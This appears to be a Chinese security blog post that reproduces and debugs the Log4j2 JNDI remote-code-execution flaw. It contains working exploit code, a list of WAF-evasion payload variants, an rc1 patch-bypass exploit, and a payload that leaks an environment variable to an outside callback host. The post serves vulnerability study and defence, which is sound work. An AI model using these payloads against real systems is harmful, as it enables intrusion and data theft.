Log4j2复现
Drunkbaby Lv6

看到网上烂的文章还是有一部分,决定自己写一篇,深入理解一下 log4j2 的 RCE

一些个靶场

掌控安全

首页 - vulfocus

log4shell-vulnerable-app

Log4j2 复现

0x01 前言

  • 忍不住想先学一学 Log4j2 的漏洞,结果上网一查资料,看到一些资料感觉写的不太清楚,于是自己提笔来写一篇 ~

0x02 Log4j2 基础开发学习

环境

  • jdk8u65

网上有很多说 jdk8u191 之后就不行了,其实不是的;高版本 jdk 是有绕过手段的。

  • Log4j2 2.14.1
  • CC 3.2.1 (最好是)

Demo 实现

  • 开发的话,其实也不难,因为作为组件的话,如果要实现组件功能的话实现配置即可。

这里主要是简单走一遍开发流程,让大家了解一下 log4j2 有什么用。

log4j 和 log4j2 都是日志管理工具,相比于 log4j,log4j2 一步步变得越来越主流,现在市场很很多的项目都是 slf4j + log4j2

我们这里就简单看一个 Log4j2 的小 demo,并不复杂。

  • 首先要实现 Log4j2 的组件应用,先是 Pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<dependency>  
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>

然后网上有讲很多教程,说 log4j2 的一些实现方式,什么 xml,yaml,properties 等很多方式。

这里,我们简单用 xml 的方式来实现,文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-8"?>  

<configuration status="info">
<Properties>
<Property name="pattern1">[%-5p] %d %c - %m%n</Property>
<Property name="pattern2">
=========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
</Property>
<Property name="filePath">logs/myLog.log</Property>
</Properties>
<appenders> <Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="${pattern1}"/>
</Console> <RollingFile name="RollingFile" fileName="${filePath}"
filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
<PatternLayout pattern="${pattern2}"/>
<SizeBasedTriggeringPolicy size="5 MB"/>
</RollingFile>
</appenders>
<loggers>
<root level="info">
<appender-ref ref="Console"/>
<appender-ref ref="RollingFile"/>
</root>
</loggers>
</configuration>

然后写一个 demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class Log4j2Test01 {
public static void main( String[] args )
{
Logger logger = LogManager.getLogger(LongFunction.class);
logger.trace("trace level");
logger.debug("debug level");
logger.info("info level");
logger.warn("warn level");
logger.error("error level");
logger.fatal("fatal level");
}
}
  • 跑起来是这个样子

实际开发场景

现在的代码是我们封装的一个行为,一般日志文件还是需要输出的。然后实际应用的话,是这样的。

比如我从数据库获取到了一个 username 为 “Drunkbaby”,我要把它登录进来的信息打印到日志里面,这个路径一般有一个 /logs 的文件夹的。

这时候就是我们的实际应用场景,跑一下看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class RealEnv {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);

String username = "Drunkbaby";
if (username != null) {
logger.info("User {} login in!", username);
}
else {
logger.error("User {} not exists", username);
}
}
}

Run 一下

当然实际场景里面肯定不会是判断 null,肯定是和 mybatis 数据库这种结合起来使用的,具体的 demo 我就不写了,仅仅知道开发流程就可以了。

0x03 Log4j2 漏洞分析

影响版本

2.x <= log4j <= 2.15.0-rc1

漏洞原理

我们可以看到在 logger.info("User {} login in!", username); 的这个地方,实际上 ———— username 这个参数是可控的。我输入 username 确实是用户可控的。

那么这里,我们尝试输入一下其他的呢?

我们将 username 修改为 String username = "${java:os}";,再跑一下看看。

这里并不是打印出了 “Hello, $java:os”,而是打印出了我们操作系统的一些信息。这里的设计看上去就有非常大的问题,官方文档的意思是这是 log4j2 自带的一个功能。

其实如果按照官网上面的那几个 api 来看,其实不太严重,最多也就是日志与我们输入对不上而已,并不是会引起大的安全漏洞。

  • 真正的问题是,这里的 lookup 它是基于 jndi 的,而 jndi 里面我们早在之前说过直接调用 lookup() 是会存在漏洞的。

jndi 可以看我这篇文章。
Java反序列化之JNDI学习 | 芜风 (drun1baby.github.io)

0x04 漏洞复现与 EXP

  • 在知道漏洞原理的情况下,我们可以直接写 EXP 了,EXP 非常简单,就一句话
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class log4j2EXP {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);

String username = "${jndi:ldap://127.0.0.1:1234/ExportObject}";

logger.info("User {} login in!", username);
}
}

然后要开启 RMIServer,因为之前有代码,这里就不放了。

成功

0x05 调试分析

分析

  • 这里我觉得还是会走到原生的 RMI 里面的 lookup 方法去的。

调试会有点难度,而且会有很多遍的各种调用,因为日志第一行是 {pattern1} 还有 {pattern2};后续还有日期的那些信息,到最后才是我们的输入。
所以要把断点找好,一直 f9 比较节省时间。

不要直接调试,我们下个断点在 PatternLayout 这个类下的 toSerializable() 方法。因为前面的调试很多都是在转来转去,这样太浪费时间了。

往下走,先是一个循环,遍历 formatters 一段一段的拼接输出的内容,不是很重要。

两个传进去进行处理的变量,一个是 event,也就是我们 log4j2 需要来进行日志打印的内容;另外一个 buffer,我们会把打印出来的东西写进 buffer。

跟进 format() 方法,这个 format() 方法师傅们可以把它当作是处理字符串的一个方法,具体如何处理是根据具体情况重写的。当时自己学习的时候就一直纠结的这个,其实没必要。

因为这是一个循环来遍历 formatters 的,中间会做很多数据处理的工作,这都不重要,但是有一个地方特别重要,我这里当 i = 7 的时候进入到了另外的一个 format 处理方法,如图。

其实 event 还是同一个,这里循环到底是什么逻辑我也搞不清楚,如果有了解的师傅还请指点一下 ~

  • 当我们进到这个 format() 方法里面之后,先判断是否是 Log4j2 的 lookups 功能。这里我们是 lookups 功能,所以可以继续往下走。

继续往下走,会遍历 workingBuilder 来进行判断;如果 workingBuilder 中存在 ${ ,那么就会取出从 $ 开始知道最后的字符串,这一步(这里的日志其实有很长,我们看 logs 文件夹是可以看到的,是一条条读取出来的)

workingBuilder 的内容如下,其实结构也比较清晰方法名,日志级别,当前类名,然后就是我们的 payload

所以上图的 value 就是我们输入的 payload ${jndi:ldap://127.0.0.1:1389/Calc}

跟进 replace() 方法,replace() 方法里面调用了 substitute() 方法

跟进之后 f7 进入到这里

继续往下走,直到这个 while 循环里面,在 while 循环中,会对字符进行逐字匹配 ${

然后进行循环读取,知道读取到 } 并获取其坐标,然后将 ${} 中间的内容取出来,然后又会调用 this.subtitute 来处理。

这里会多次进入这个过程,说真的挺头疼的,不用管其他流程,我们就关注这个 ${jndi:ldap://127.0.0.1:1234/ExportObject} 的值即可

再次运行 subtitue 的时候由于我们已没有 ${ } 所以就直接来到下面,将 varName 作为变量传入了 resolveVariable 函数

varName 就是为 ${} 中的值

可以猜测resolver解析时支持的关键词有[date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j],而我们这里利用的jndi:xxx后续就会用到JndiLookup这个解析器

这里我们看到 resolveVariable() 方法里面是调用了 lookup() 方法,这个 lookup() 方法也就是 jndi 里面原生的方法,在我们让 jndi 去调用 ldap 服务的时候,是调用原生的 lookup() 方法的,是存在漏洞的。

再可以往里跟一下

  • 再往下走就是 JNDI 常规的注入了,分析过程到此结束。

小结调试

  1. 先判断内容中是否有${},然后截取${}中的内容,得到我们的恶意payload jndi:xxx
  2. 后使用:分割payload,通过前缀来判断使用何种解析器去lookup
  3. 支持的前缀包括 date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,后续我们的绕过可能会用到这些。

0x06 针对 WAF 的常规绕过

  • 出发点是基于很多 WAF 检测是否存在 jndi: 等关键词进行判断,下面我们讲一讲绕过手法。

根据官方文档中的描述,如果参数未定义,那么 :- 后面的就是默认值,通俗的来说就是默认值

1. 利用分隔符和多个 ${} 绕过

  • 例如这个 payload
1
logg.info("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}");

2. 通过 lower 和 upper 绕过

这一点,因为我们之前说允许的字段是这一些
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,其中就有 lower 和 upper

同时也可以利用 lower 和 upper 来进行 bypass 关键字

1
2
3
logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");
....

同时也可以利用一些特殊字符的大小写转化的问题

ı => upper => i (Java 中测试可行)

ſ => upper => S (Java 中测试可行)

İ => upper => i (Java 中测试不可行)

K => upper => k (Java 中测试不可行)

1
2
logg.error("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}");
...

由于这玩意儿测试过程中随便插都行,现在数据传输很多都是 json 形式,所以在 json 中我们也可以进行尝试

像 Jackson 和 fastjson 又有 unicode 和 hex 的编码特性,所以就可以尝试编码绕过

1
2
{"key":"\u0024\u007b"}
{"key":"\x24\u007b"}

3. 总结一些 payload

  • 原始payload
1
"${jndi:ldap://127.0.0.1:1234/ExportObject}";

对应的绕过手段

1
2
3
4
5
6
7
8
9
10
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};

${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";

${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";

${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";

${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";

4. 奇淫技巧

主要是读取敏感信息,GoogleCTF2022 的 log4j2 的题目中,有一种非预期的方式就是通过这种方式打的

刚才分析了其他解析器功效,通过sysenv协议,结合jndi可以读取到一些环境变量和系统变量,特定情况下可能可以读取到系统密码

举个例子

1
${jndi:ldap://${env:LOGNAME}.1hj2a0litb8gvybwuy1m16vj8ae02p.oastify.com}

我这里本地利用失败了,还有浅蓝师傅提出来的读取 classpath 的敏感信息的利用方式 ———— http://wjlshare.com/archives/1677

0x07 Log4j2 2.15.0 漏洞修复与绕过

说实话,挺鸡肋的,而且受操作系统影响,Windows 无法复现成功,师傅们可以看一下思路,不用跟着复现。

1. 初窥 log4j 2.15.0 版本的修复

官方给出了 CVE 编号和补丁,升级到了 2.15.0 之后默认不开启 JNDI Lookup

漏洞修复主要是在 JndiManager#lookup 中增加了代码,因为最终的触发点就是这里,我们可以先跑一下之前的 2.14.1 里面攻击的 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.layout.PatternLayout;

import java.util.function.LongFunction;

public class OriginalEXP {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);

String username = "${jndi:ldap://127.0.0.1:1234/ExportObject}";

logger.error("User {} login in!", username);
}
}

如果这时候运行的话我们会直接把一整个 username 直接就装进去了,并不执行任何命令,也就是说这个语句是正常走的,但是没有走到 lookup 里面进去,没有实现到我们想要的效果。

后续的分析会把 2.14.1 和 2.15.0 两个版本对照起来调试,要不然调试这一块确实很难。

我一开始是把断点打在 StrSubstitutor 这个类下的 resolver.lookup 那里,但是发现一直走不进去,所以先把断点打在 PatternLayout#toSerializable 这里。

左边是 2.14.1 版本的,右边是 2.15.0 版本的,开始调试。

  • 因为我前文说过,toSerializable 这里会读取日志的全部部分,所以一开始是什么 [ERROR] 那些的。所以我们要走到读取 payload 的地方。如图所示,2.14.1 类是 MessagePatternConverter,2.15.0 是 MessagePatternConverter.SimplePatternConverter

这里 2.14.1 的版本会进行 ${} 的判断,而 2.15.0 的版本会直接把它 toAppendTo 进去。注意!这是同一个类的 format 方法,由此可见,此处是 2.15.0 版本的修复点之一。

  • 2.15.0 版本的 log4j 包还在 JndiManager#lookup 中增加了代码,不过我们现在得先走到那里面进去再去分析。现在应该想办法走进 JndiManager#lookup

后续听 4ra1n 师傅,也就是许少说,Windows 上无法复现成功,需要 mac 才可以,这里绕过我觉得可以看一个思路,但是实际利用上还是很鸡肋。

2. log4j rc1 bypass

  • 按照我们上面所分析的,难道就没有办法进入到 lookup() 进行攻击了吗?

其实不是这样的,我们在 MssagePatternConverter 这个类里面找之前 2.14.1 版本中的调用语句:config.getStrSubstitutor().replace(event, value)。结果是找到一个非常非常类似的语句,位置如图所示

点进去看 replaceIn() 方法,它所属的类是 StrSubstitutor,这和我们在 2.14.1 里面分析的是一样的过程。

那么回来看调用 replaceIn() 方法的 format() 方法是隶属于 LookupMessagePatternConverter 这个类的,而这个类继承了 MessagePatternConverter;如果我们要进到 LookupMessagePatternConverter 这个类里面去,需要满足前文提到的 ConverterLookupMessagePatternConverter 这个类。

但是怎么样才能让 converter 的类变成 LookupMessagePatternConverter,而不是 SimpleMessagePatternConverter 呢?

(一开始这里自己分析不下去了,看天下大木头师傅的文章才知道是怎么解决的)

newInstance() 方法中会调用 loadLookups() 这个方法,在 loadLookups() 方法中会根据 if (LOOKUPS.equalsIgnoreCase(option)) 的结果来判断是哪一个 Converter,我们可以在这里打个断点。发现是要满足两个条件才可以,如图。

在经过多次尝试之后,发现其实限制因素其实都是需要我们手动去修改的,在实际渗透的时候不可能会遇到这种情况,如图。

所以这也是补丁绕过比较鸡肋的地方

为了分析绕过,我们只能手动配置了。。。

手动开启的 lookup 在 resources 中添加 log4j2.xml 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<configuration status="OFF" monitorInterval="30">
<appenders>
<console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
<PatternLayout pattern="%m{lookups}%n"/>
</console>
</appenders>

<loggers>
<root level="error">
<appender-ref ref="CONSOLE-APPENDER"/>
</root>
</loggers>
</configuration>
  • 所以我们的 EXP 应该是这样的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.LogEvent;
import org.apache.logging.log4j.core.config.Configuration;
import org.apache.logging.log4j.core.config.DefaultConfiguration;
import org.apache.logging.log4j.core.impl.MutableLogEvent;
import org.apache.logging.log4j.core.pattern.MessagePatternConverter;

import java.util.function.LongFunction;

// 绕过 rc1 的 EXPpublic class BypassRc1EXP {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);

Configuration configuration = new DefaultConfiguration();
MessagePatternConverter messagePatternConverter = MessagePatternConverter.newInstance(configuration,
new String[]{"lookups"});
LogEvent logEvent = new MutableLogEvent(new StringBuilder("${jndi:ldap://127.0.0.1:1234/ExportObject}"),null);
messagePatternConverter.format(logEvent,new StringBuilder("${jndi:ldap://127.0.0.1:1234/ExportObject}"));
}
}

这时候会成功进入到 JndiManager#lookup 里面去,这个方法在相较于 2.14.1 还是变化非常非常大的。

在这里做了很多限制,一个一个来看

在最开始的 this.allowedProtocols 为 {java,ldap,ldaps} 我们的 ldap 在其中,所以会继续

接下来就是 this.allowedHosts 的限制,这个限制的非常死,只允许本地host

后面还有对 javaSerializedData 中的 classname 做了处理;以及 Reference 和 javaFactory 做了处理,也就是对 JDNI 注入做了处理,师傅们可以去木头师傅的博客观看 ~

  • 但是其实最终的绕过的话,是因为抛出异常这里没有进行限制,所以我们传入的 Payload 可以是这样:"${jndi:ldap://127.0.0.1:1234/ ExportObject}",也就是多个空格,就可以进入到 catch 里面绕过

完整 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.LogEvent;
import org.apache.logging.log4j.core.config.Configuration;
import org.apache.logging.log4j.core.config.DefaultConfiguration;
import org.apache.logging.log4j.core.impl.MutableLogEvent;
import org.apache.logging.log4j.core.pattern.MessagePatternConverter;

import java.util.function.LongFunction;

// 绕过 rc1 的 EXP,Windows 无法触发
public class BypassRc1EXP {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);

Configuration configuration = new DefaultConfiguration();
MessagePatternConverter messagePatternConverter = MessagePatternConverter.newInstance(configuration,
new String[]{"lookups"});
LogEvent logEvent = new MutableLogEvent(new StringBuilder("${jndi:ldap://127.0.0.1:1234/ ExportObject}"),null);
messagePatternConverter.format(logEvent,new StringBuilder("${jndi:ldap://127.0.0.1:1234/ ExportObject}"));
}
}

burpsuite主动扫描插件之ActiveScan++

Log4j2 RCE Passive Scanner plugin for BurpSuite

用于帮助企业内部快速扫描log4j2的jndi漏洞的burp插件

f0ng/log4j2burpscanner

0x08 参考资料

http://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.Java%E5%AE%89%E5%85%A8/03.%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/06.log4j2_rce%E5%88%86%E6%9E%90.html
http://wjlshare.com/archives/1674
http://wjlshare.com/archives/1677
https://xz.aliyun.com/t/10649
https://xz.aliyun.com/t/10689#toc-0
https://y4tacker.github.io/2022/07/06/year/2022/7/GoogleCTF2022-Log4j/#%E9%80%89%E6%8B%A9%E5%90%88%E9%80%82%E7%9A%84%E7%B1%BB%E5%AE%8C%E6%88%90challenge

 评论